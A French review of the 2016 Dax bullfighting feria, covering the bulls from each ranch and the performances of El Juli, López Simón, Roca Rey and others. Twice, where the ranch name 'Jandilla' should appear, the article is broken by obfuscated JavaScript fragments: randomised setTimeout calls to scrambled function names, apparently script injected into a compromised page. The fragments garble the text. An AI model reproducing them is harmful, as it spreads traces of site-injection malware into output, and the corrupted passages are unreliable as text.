DAX 2016 : UNE FERIA INÉGALE

Pour commencer, concernant le trapio des toros, il y eut excessivement des contrastes entre certains toros très justes de présentation et d’autres immenses. La corrida la mieux présentée fut celle de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla, avec un lot bien fait, sérieux mais qui ne répondit pas au comportement qu’on attendait d’eux.

Celle de Núñez del Cuvillo déçut aussi, avec quelques toros vraiment limites de présentation, dont le dernier qui eut cependant beaucoup de classe. Celle de Pedraza, en dehors de sa taille démesurée, offrit peu de spectacle, à l’exception du quatrième avec le cheval monté par Juan José Esquivel.

Fade fut celle de Ibán et jolie, dans le type des corridas pour figuras de Dax, celle Domingo Hernández qui contribua au succès majeur de la feria. El Juli se comporta en maestro devant un toro compliqué et souvent distrait qui faillit l’attraper mais le madrilène résolut la situation avec fermeté et les arènes se rendirent finalement à lui. López Simón coupa les deux oreilles à son premier pour une faena où il privilégia surtout l’enchaînement des passes et on le vit beaucoup plus relâché et inspiré dans son début de faena au suivant mais le toro ne voulut pas le suivre.

Roca Rey se montra explosif, imaginatif, notamment dans un quite par gaoneras suivies d’un enchaînement de passes à une main, mais dans le toreo fondamental à la muleta, dans les naturelles et derechazos, il manqua de profondeur, d’émotivité. Il fut parfois débordé par la caste du dernier de la course, qui n’était pas facile, mais une nouvelle il sortit en triomphe des arènes. Ce jour-là on afficha le « no hay billetes ».

Concernant le toreros, signalons aussi la bonne prestation de Curro Díaz avec des passes très belles, dignes d’une affiche, le toreo luxuriant, aussi bien à la cape qu’à la muleta de Daniel Luque, d’une lenteur invraisemblable. Il perdit sans doute deux oreilles avec l’épée. Le Péruvien Joaquín Galdós une à chacun de ses deux toros et prouva qu’il a du potentiel et qu’il faudra le suivre. Pepe Moral remporta lui aussi un trophée pour une faena bien enchaînée à un toro de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla, Juan del Alamo n’en obtint qu’une seule lors de ses deux comparutions à la corrida de Ibán mais se montra très volontaire. Sans oublier Rafaelillo qui devant les soporifiques toros de Pedraza parvint à en couper une au toro sorti en premier.

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